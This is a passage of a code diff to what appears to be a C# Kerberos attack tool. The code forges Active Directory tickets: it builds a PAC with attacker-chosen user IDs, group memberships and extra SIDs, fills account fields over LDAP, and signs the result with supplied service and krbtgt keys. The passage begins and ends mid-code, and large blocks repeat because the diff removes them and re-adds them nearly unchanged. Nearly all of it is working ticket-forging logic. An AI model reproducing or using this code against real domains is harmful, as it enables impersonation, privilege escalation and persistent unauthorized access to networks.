/creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + } + + // determine domain if not supplied + string[] parts = sname.Split('/'); + if (String.IsNullOrEmpty(domain)) + { + if ((parts.Length > 1) && (parts[0] == "krbtgt")) + { + Console.WriteLine("[X] TGT or referral TGT requires /domain to be passed."); + return; + } + else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) + { + Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or 'host@domain.com'."); + return; + } + else if (parts.Length > 1) + { + domain = parts[1].Substring(parts[1].IndexOf('.') + 1); + string[] domainParts = domain.Split(':'); + if (domainParts.Length > 1) { - upnFlags = 0; - } - - List> adObjects = null; - - // build group and domain policy filter - string filter = ""; - string outputText = ""; - if (string.IsNullOrEmpty(groups)) - { - if (userObject.ContainsKey("memberof")) - { - foreach (string groupDN in (string[])userObject["memberof"]) - { - filter += String.Format("(distinguishedname={0})", groupDN); - } - outputText += "group"; - } - } - - if (pGid == null) - filter += String.Format("(objectsid={0}-{1})", domainSid, (string)userObject["primarygroupid"]); - - if (minPassAge == null || (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0))) - { - filter = String.Format("{0}(name={{31B2F340-016D-11D2-945F-00C04FB984F9}})", filter); - if (String.IsNullOrEmpty(outputText)) - { - outputText = "domain policy"; - } - else - { - outputText = String.Format("{0} and domain policy", outputText); - } - } - - if (!String.IsNullOrEmpty(filter)) - { - // Try to get group and domain policy information from LDAP - Console.WriteLine("[*] Retrieving {0} information over LDAP from domain controller {1}", outputText, domainController); - adObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(|{0})", filter), ssl); - if (adObjects == null) - { - Console.WriteLine("[!] Unable to get {0} information using LDAP, using defaults.", outputText); - } - else - { - if (userObject.ContainsKey("memberof")) - { - kvi.GroupCount = ((string[])userObject["memberof"]).Length + 1; - kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[((string[])userObject["memberof"]).Length + 1]; - } - else - { - kvi.GroupCount = 1; - kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[1]; - } - c = 0; - foreach (var o in adObjects) - { - if (o.ContainsKey("gpcfilesyspath")) - { - string gptTmplPath = String.Format("{0}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf", (string)o["gpcfilesyspath"]); - gptTmplPath = gptTmplPath.Replace(String.Format("\\\\{0}\\", domain), String.Format("\\\\{0}\\", domainController)); - Dictionary> gptTmplObject = Networking.GetGptTmplContent(gptTmplPath, ldapuser, ldappassword); - - if (gptTmplObject == null) - { - Console.WriteLine("[!] Warning: Unable to get domain policy information, skipping PasswordCanChange and PasswordMustChange PAC fields."); - continue; - } - - if (minPassAge == null) - { - minPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MinimumPasswordAge"]); - if (minPassAge > 0) - { - kvi.PasswordCanChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)minPassAge)); - } - } - if (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) - { - maxPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MaximumPasswordAge"]); - if (maxPassAge > 0) - { - DateTime pwdLastReset = (DateTime)userObject["pwdlastset"]; - if (pwdLastReset == DateTime.MinValue) - { - DateTime dt = DateTime.Now; - pwdLastReset = dt.AddDays(-2); - } - kvi.PasswordMustChange = new Ndr._FILETIME((pwdLastReset.AddDays((double)maxPassAge))); - } - } - } - else - { - string groupSid = (string)o["objectsid"]; - int groupId = Int32.Parse(groupSid.Substring(groupSid.LastIndexOf('-') + 1)); - Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(groupId, Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); - c += 1; - } - } - } - } - - // preform the netbios name lookup - if (String.IsNullOrEmpty(netbiosName)) - { - Console.WriteLine("[*] Retrieving netbios name information over LDAP from domain controller {0}", domainController); - - // first get forest root - string forestRoot = null; - try - { - forestRoot = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest().RootDomain.Name; - } - catch - { - Console.WriteLine("[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming {0} is the forest root", domain); - forestRoot = domain; - } - - string configRootDomain = domain; - if (!domain.Equals(forestRoot)) - configRootDomain = forestRoot; - - string configOU = String.Format("CN=Configuration,DC={0}", configRootDomain.Replace(".", ",DC=")); - - adObjects = Networking.GetLdapQuery(ldapCred, configOU, domainController, domain, String.Format("(&(netbiosname=*)(dnsroot={0}))", domain), ssl); - if (adObjects == null) - { - Console.WriteLine("[!] Unable to get netbios name information using LDAP, using defaults."); - } - else - { - foreach (var o in adObjects) - { - if (o.ContainsKey("netbiosname")) - { - kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING((string)o["netbiosname"]); - } - } - } - } - - // set the rest of the PAC fields - if (userObject.ContainsKey("displayname")) - { - kvi.FullName = new Ndr._RPC_UNICODE_STRING((string)userObject["displayname"]); - } - - if (String.IsNullOrEmpty(sid)) - { - kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(domainSid)); - } - if (userObject.ContainsKey("logoncount")) - { - try - { - kvi.LogonCount = short.Parse((string)userObject["logoncount"]); - } - catch - { - kvi.LogonCount = 0; - } - } - if (userObject.ContainsKey("badpwdcount")) - { - try - { - kvi.BadPasswordCount = short.Parse((string)userObject["badpwdcount"]); - } - catch - { - kvi.BadPasswordCount = 0; - } - - } - if (userObject.ContainsKey("lastlogon") && ((DateTime)userObject["lastlogon"] != DateTime.MinValue)) - { - kvi.LogonTime = new Ndr._FILETIME((DateTime)userObject["lastlogon"]); - } - - if (userObject.ContainsKey("lastlogoff") && ((DateTime)userObject["lastlogoff"] != DateTime.MinValue)) - { - kvi.LogoffTime = new Ndr._FILETIME((DateTime)userObject["lastlogoff"]); - } - if (userObject.ContainsKey("pwdlastset") && (DateTime)userObject["pwdlastset"] != DateTime.MinValue) - { - kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)userObject["pwdlastset"]); - } - kvi.PrimaryGroupId = Int32.Parse((string)userObject["primarygroupid"]); - kvi.UserId = Int32.Parse(objectSid.Substring(objectSid.LastIndexOf('-') + 1)); - if (userObject.ContainsKey("homedirectory")) - { - kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING((string)userObject["homedirectory"]); - } - if (userObject.ContainsKey("homedrive")) - { - kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING((string)userObject["homedrive"]); - } - if (userObject.ContainsKey("profilepath")) - { - kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING((string)userObject["profilepath"]); - } - if (userObject.ContainsKey("scriptpath")) - { - kvi.LogonScript = new Ndr._RPC_UNICODE_STRING((string)userObject["scriptpath"]); - } - - } - - } - else if (String.IsNullOrEmpty(sid)) - { - Console.WriteLine("[X] To forge tickets without specifying '/ldap', '/sid' is required."); - return; - } - - // initialize some structures - KRB_CRED cred = new KRB_CRED(); - KrbCredInfo info = new KrbCredInfo(); - - Console.WriteLine("[*] Building PAC"); - - // overwrite any LogonInfo fields here sections - if (!String.IsNullOrEmpty(netbiosName)) - { - kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(netbiosName); - } - if (!String.IsNullOrEmpty(sid)) - { - kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(sid)); - } - if (!String.IsNullOrEmpty(groups)) - { - List allGroups = new List(); - foreach (string gid in groups.Split(',')) - { - try - { - allGroups.Add(Int32.Parse(gid)); - } - catch (Exception e) - { - Console.WriteLine("[X] Error unable to parse group id {0}: {1}", gid, e.Message); - } - } - if ((pGid != null) && !allGroups.Contains((int)pGid)) - allGroups.Add((int)pGid); - int numOfGroups = allGroups.Count; - kvi.GroupCount = numOfGroups; - kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[numOfGroups]; - c = 0; - foreach (int gid in allGroups) - { - Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(gid, Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); - c += 1; - } - } - if (!String.IsNullOrEmpty(sids)) - { - int numOfSids = sids.Split(',').Length; - kvi.SidCount = numOfSids; - kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; - c = 0; - foreach (string s in sids.Split(',')) - { - Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ExtraSids, c, 1); - c += 1; - } - } - if (!String.IsNullOrEmpty(resourceGroupSid) && (resourceGroups != null)) - { - try - { - kvi.ResourceGroupDomainSid = new Ndr._RPC_SID(new SecurityIdentifier(resourceGroupSid)); - kvi.ResourceGroupCount = resourceGroups.Count; - kvi.ResourceGroupIds = new Ndr._GROUP_MEMBERSHIP[resourceGroups.Count]; - c = 0; - - foreach (int rgroup in resourceGroups) - { - Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(rgroup, Interop.R_GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ResourceGroupIds, c, 1); - c += 1; - } - } - catch - { - - } - } - if (kvi.SidCount > 0) - { - kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.EXTRA_SIDS; - } - if (kvi.ResourceGroupCount > 0) - { - kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.RESOURCE_GROUPS; - } - if (!String.IsNullOrEmpty(domainController)) - { - string dcName = Networking.GetDCNameFromIP(domainController); - if (dcName != null) - { - kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(domainController.Substring(0, domainController.IndexOf('.')).ToUpper()); - } - } - if (!String.IsNullOrEmpty(displayName)) - { - kvi.FullName = new Ndr._RPC_UNICODE_STRING(displayName); - } - if (logonCount != null) - { - kvi.LogonCount = (short)logonCount; - } - if (badPwdCount != null) - { - kvi.BadPasswordCount = (short)badPwdCount; - } - if (lastLogon != null) - { - kvi.LogonTime = new Ndr._FILETIME((DateTime)lastLogon); - } - if (logoffTime != null) - { - kvi.LogoffTime = new Ndr._FILETIME((DateTime)logoffTime); - } - if (pwdLastSet != null) - { - kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)pwdLastSet); - } - if (origMinPassAge != null) - { - try - { - DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); - if (minPassAge > 0) - { - kvi.PasswordCanChange = new Ndr._FILETIME(passLastSet.AddDays((double)minPassAge)); - } - } - catch - { - Console.WriteLine("[!] Something went wrong setting the PasswordCanChange field, perhaps PasswordLastSet is not configured properly"); - } - } - if (origMaxPassAge != null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) - { - try - { - DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); - if (maxPassAge > 0) - { - kvi.PasswordMustChange = new Ndr._FILETIME(passLastSet.AddDays((double)maxPassAge)); - } - } - catch - { - Console.WriteLine("[!] Something went wrong setting the PasswordMustChange field, perhaps PasswordLastSet is not configured properly"); - } - } - if (id != null) - { - kvi.UserId = (int)id; - } - if (pGid != null) - { - kvi.PrimaryGroupId = (int)pGid; - } - if (!String.IsNullOrEmpty(homeDir)) - { - kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(homeDir); - } - if (!String.IsNullOrEmpty(homeDrive)) - { - kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(homeDrive); - } - if (!String.IsNullOrEmpty(profilePath)) - { - kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(profilePath); - } - if (!String.IsNullOrEmpty(scriptPath)) - { - kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(scriptPath); - } - - - // generate a random session key, encryption type and checksum types - Random random = new Random(); - byte[] randKeyBytes; - SignatureData svrSigData = new SignatureData(PacInfoBufferType.ServerChecksum); - SignatureData kdcSigData = new SignatureData(PacInfoBufferType.KDCChecksum); - SignatureData fullPacSigData = new SignatureData(PacInfoBufferType.FullPacChecksum); - int svrSigLength = 12, kdcSigLength = 12, fullPacSigLength = 12; - if (etype == Interop.KERB_ETYPE.rc4_hmac) - { - randKeyBytes = new byte[16]; - random.NextBytes(randKeyBytes); - svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; - kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; - fullPacSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; - svrSigLength = 16; - kdcSigLength = 16; - fullPacSigLength = 16; - } - else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) - { - randKeyBytes = new byte[32]; - random.NextBytes(randKeyBytes); - svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; - kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; - fullPacSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; - } - else - { - Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); - return; - } - - // if the krbtgt key is specified, use the checksum type also specified - if (krbKey != null) - { - kdcSigData.SignatureType = krbeType; - fullPacSigData.SignatureType = krbeType; - if ((krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256) || (krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) - { - kdcSigLength = 12; - fullPacSigLength = 12; - } - else - { - kdcSigLength = 16; - fullPacSigLength = 16; - } - } - - // set krbKey to serviceKey if none is given - if (krbKey == null) - { - krbKey = serviceKey; - } - - // output some ticket information relevent to all tickets generated - Console.WriteLine(""); - Console.WriteLine("[*] Domain : {0} ({1})", domain.ToUpperInvariant(), kvi.LogonDomainName); - Console.WriteLine("[*] SID : {0}", kvi.LogonDomainId?.GetValue()); - Console.WriteLine("[*] UserId : {0}", kvi.UserId); - if (kvi.GroupCount > 0) - { - Console.WriteLine("[*] Groups : {0}", kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); - } - if (kvi.SidCount > 0) - { - Console.WriteLine("[*] ExtraSIDs : {0}", kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); - } - Console.WriteLine("[*] ServiceKey : {0}", Helpers.ByteArrayToString(serviceKey)); - Console.WriteLine("[*] ServiceKeyType : {0}", svrSigData.SignatureType); - Console.WriteLine("[*] KDCKey : {0}", Helpers.ByteArrayToString(krbKey)); - Console.WriteLine("[*] KDCKeyType : {0}", kdcSigData.SignatureType); - Console.WriteLine("[*] Service : {0}", parts[0]); - Console.WriteLine("[*] Target : {0}", parts[1]); - Console.WriteLine(""); - - // loop incase we need to generate multiple tickets as everything below this are effected - do - { - // Create PacInfoBuffers - kvi.LogonTime = new Ndr._FILETIME((DateTime)startTime); - LogonInfo li = new LogonInfo(kvi); - - if (String.IsNullOrEmpty(cName)) - cName = user; - if (String.IsNullOrEmpty(cRealm)) - cRealm = domain; - - ClientName cn = null; - if (parts[0].Equals("krbtgt") && !cRealm.Equals(domain)) - cn = new ClientName((DateTime)startTime, String.Format("{0}@{1}@{1}", user, domain.ToUpperInvariant())); - else - cn = new ClientName((DateTime)startTime, user); - - UpnDns upnDns = new UpnDns(upnFlags, domain.ToUpperInvariant(), String.Format("{0}@{1}", user, domain.ToLowerInvariant())); + domain = domainParts[0]; + } + } + else if (sname.Split('@').Length > 1) + { + domain = sname.Split('@')[1]; + } + else + { + Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); + return; + } + } + if (String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(domain.Substring(0, domain.IndexOf('.')).ToUpperInvariant()); + } + + if (ldap) + { + Ndr._KERB_VALIDATION_INFO? tempkvi = LDAPCollection( + user, + ldapuser, + ldappassword, + domainController, + domain); + if (tempkvi == null) return; + kvi = (Ndr._KERB_VALIDATION_INFO)tempkvi; + } + + else if (String.IsNullOrEmpty(sid)) + { + Console.WriteLine("[X] To forge tickets without specifying '/ldap', '/sid' is required."); + return; + } + + // initialize some structures + KRB_CRED cred = new KRB_CRED(); + KrbCredInfo info = new KrbCredInfo(); + + Console.WriteLine("[*] Building PAC"); + + // overwrite any LogonInfo fields here sections + if (!String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(netbiosName); + } + if (!String.IsNullOrEmpty(sid)) + { + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(sid)); + } + if (!String.IsNullOrEmpty(groups)) + { + List allGroups = new List(); + foreach (string gid in groups.Split(',')) + { + try + { + allGroups.Add(Int32.Parse(gid)); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse group id {0}: {1}", gid, e.Message); + } + } + if ((pGid != null) && !allGroups.Contains((int)pGid)) + allGroups.Add((int)pGid); + int numOfGroups = allGroups.Count; + kvi.GroupCount = numOfGroups; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[numOfGroups]; + c = 0; + foreach (int gid in allGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(gid, Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(sids)) + { + int numOfSids = sids.Split(',').Length; + kvi.SidCount = numOfSids; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; + c = 0; + foreach (string s in sids.Split(',')) + { + Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ExtraSids, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(resourceGroupSid) && (resourceGroups != null)) + { + try + { + kvi.ResourceGroupDomainSid = new Ndr._RPC_SID(new SecurityIdentifier(resourceGroupSid)); + kvi.ResourceGroupCount = resourceGroups.Count; + kvi.ResourceGroupIds = new Ndr._GROUP_MEMBERSHIP[resourceGroups.Count]; + c = 0; + + foreach (int rgroup in resourceGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(rgroup, Interop.R_GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ResourceGroupIds, c, 1); + c += 1; + } + } + catch + { + + } + } + if (kvi.SidCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.EXTRA_SIDS; + } + if (kvi.ResourceGroupCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.RESOURCE_GROUPS; + } + if (!String.IsNullOrEmpty(domainController)) + { + string dcName = Networking.GetDCNameFromIP(domainController); + if (dcName != null) + { + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(domainController.Substring(0, domainController.IndexOf('.')).ToUpper()); + } + } + if (!String.IsNullOrEmpty(displayName)) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING(displayName); + } + if (logonCount != null) + { + kvi.LogonCount = (short)logonCount; + } + if (badPwdCount != null) + { + kvi.BadPasswordCount = (short)badPwdCount; + } + if (lastLogon != null) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)lastLogon); + } + if (logoffTime != null) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)logoffTime); + } + if (pwdLastSet != null) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)pwdLastSet); + } + if (origMinPassAge != null) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(passLastSet.AddDays((double)minPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordCanChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (origMaxPassAge != null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (maxPassAge > 0) + { + kvi.PasswordMustChange = new Ndr._FILETIME(passLastSet.AddDays((double)maxPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordMustChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (id != null) + { + kvi.UserId = (int)id; + } + if (pGid != null) + { + kvi.PrimaryGroupId = (int)pGid; + } + if (!String.IsNullOrEmpty(homeDir)) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(homeDir); + } + if (!String.IsNullOrEmpty(homeDrive)) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(homeDrive); + } + if (!String.IsNullOrEmpty(profilePath)) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(profilePath); + } + if (!String.IsNullOrEmpty(scriptPath)) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(scriptPath); + } + + + // generate a random session key, encryption type and checksum types + Random random = new Random(); + byte[] randKeyBytes; + SignatureData svrSigData = new SignatureData(PacInfoBufferType.ServerChecksum); + SignatureData kdcSigData = new SignatureData(PacInfoBufferType.KDCChecksum); + SignatureData fullPacSigData = new SignatureData(PacInfoBufferType.FullPacChecksum); + int svrSigLength = 12, kdcSigLength = 12, fullPacSigLength = 12; + if (etype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + fullPacSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + svrSigLength = 16; + kdcSigLength = 16; + fullPacSigLength = 16; + } + else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + fullPacSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + // if the krbtgt key is specified, use the checksum type also specified + if (krbKey != null) + { + kdcSigData.SignatureType = krbeType; + fullPacSigData.SignatureType = krbeType; + if ((krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256) || (krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + kdcSigLength = 12; + fullPacSigLength = 12; + } + else + { + kdcSigLength = 16; + fullPacSigLength = 16; + } + } + + // set krbKey to serviceKey if none is given + if (krbKey == null) + { + krbKey = serviceKey; + } + + // output some ticket information relevent to all tickets generated + Console.WriteLine(""); + Console.WriteLine("[*] Domain : {0} ({1})", domain.ToUpperInvariant(), kvi.LogonDomainName); + Console.WriteLine("[*] SID : {0}", kvi.LogonDomainId?.GetValue()); + Console.WriteLine("[*] UserId : {0}", kvi.UserId); + if (kvi.GroupCount > 0) + { + Console.WriteLine("[*] Groups : {0}", kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + Console.WriteLine("[*] ExtraSIDs : {0}", kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("[*] ServiceKey : {0}", Helpers.ByteArrayToString(serviceKey)); + Console.WriteLine("[*] ServiceKeyType : {0}", svrSigData.SignatureType); + Console.WriteLine("[*] KDCKey : {0}", Helpers.ByteArrayToString(krbKey)); + Console.WriteLine("[*] KDCKeyType : {0}", kdcSigData.SignatureType); + Console.WriteLine("[*] Service : {0}", parts[0]); + Console.WriteLine("[*] Target : {0}", parts[1]); + Console.WriteLine(""); + + // loop incase we need to generate multiple tickets as everything below this are effected + do + { + // Create PacInfoBuffers + kvi.LogonTime = new Ndr._FILETIME((DateTime)startTime); + LogonInfo li = new LogonInfo(kvi); + + if (String.IsNullOrEmpty(cName)) + cName = user; + if (String.IsNullOrEmpty(cRealm)) + cRealm = domain; + + ClientName cn = null; + if (parts[0].Equals("krbtgt") && !cRealm.Equals(domain)) + cn = new ClientName((DateTime)startTime, String.Format("{0}@{1}@{1}", user, domain.ToUpperInvariant())); + else + cn = new ClientName((DateTime)startTime, user); + + UpnDns upnDns = new UpnDns(upnFlags, domain.ToUpperInvariant(), String.Format("{0}@{1}", user, domain.ToLowerInvariant())); if (extendedUpnDns) { upnDns = new UpnDns(upnFlags + 2, domain.ToUpperInvariant(), String.Format("{0}@{1}", user, domain.ToLowerInvariant()), user, new SecurityIdentifier(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId))); - } - - S4UDelegationInfo s4u = null; - if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) - { - s4u = new S4UDelegationInfo(s4uProxyTarget, s4uTransitedServices.Split(',')); - } - - Console.WriteLine("[*] Generating EncTicketPart"); - - EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, cRealm.ToUpperInvariant(), cName, flags, cn.ClientId); - - // set other times in EncTicketPart - DateTime? check = null; - decTicketPart.authtime = (DateTime)authTime; - if (!String.IsNullOrEmpty(endTime)) - { - check = Helpers.FutureDate((DateTime)startTime, endTime); - if (check != null) - { - decTicketPart.endtime = (DateTime)check; - } - } - if (!String.IsNullOrEmpty(renewTill)) - { - check = Helpers.FutureDate((DateTime)startTime, renewTill); - if (check != null) - { - decTicketPart.renew_till = (DateTime)check; - } - } - - if (decTicketPart.authorization_data == null) - { - decTicketPart.authorization_data = new List(); - } - - // generate blank PAC for TicketChecksum for service tickets - SignatureData ticketSigData = null; - if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) - { - ticketSigData = new SignatureData(PacInfoBufferType.TicketChecksum); - ticketSigData.SignatureType = kdcSigData.SignatureType; - ADIfRelevant ifrelevant = new ADIfRelevant(); - ADWin2KPac win2KPac = new ADWin2KPac(); - win2KPac.Pac = null; - win2KPac.ad_data = new byte[] { 0x00 }; - decTicketPart.authorization_data.Add(new ADIfRelevant(win2KPac)); - } - - // set extra AuthorizationData sections - if (includeAuthData) - { - ADIfRelevant ifrelevant = new ADIfRelevant(); - ADRestrictionEntry restrictions = new ADRestrictionEntry(); - ADKerbLocal kerbLocal = new ADKerbLocal(); - ifrelevant.ADData.Add(restrictions); - ifrelevant.ADData.Add(kerbLocal); - decTicketPart.authorization_data.Add(ifrelevant); - } - - // now we have the extra auth data sections, calculate TicketChecksum - if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) - { - ticketSigData.Signature = decTicketPart.CalculateTicketChecksum(krbKey, kdcSigData.SignatureType); - } - - Attributes attrib = null; - Requestor requestor = null; - if (newPac) - { - attrib = new Attributes(); - requestor = new Requestor(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId)); - } - - // clear signatures - Console.WriteLine("[*] Signing PAC"); - svrSigData.Signature = new byte[svrSigLength]; - kdcSigData.Signature = new byte[kdcSigLength]; - Array.Clear(svrSigData.Signature, 0, svrSigLength); - Array.Clear(kdcSigData.Signature, 0, kdcSigLength); + } + + S4UDelegationInfo s4u = null; + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + s4u = new S4UDelegationInfo(s4uProxyTarget, s4uTransitedServices.Split(',')); + } + + Console.WriteLine("[*] Generating EncTicketPart"); + + EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, cRealm.ToUpperInvariant(), cName, flags, cn.ClientId); + + // set other times in EncTicketPart + DateTime? check = null; + decTicketPart.authtime = (DateTime)authTime; + if (!String.IsNullOrEmpty(endTime)) + { + check = Helpers.FutureDate((DateTime)startTime, endTime); + if (check != null) + { + decTicketPart.endtime = (DateTime)check; + } + } + if (!String.IsNullOrEmpty(renewTill)) + { + check = Helpers.FutureDate((DateTime)startTime, 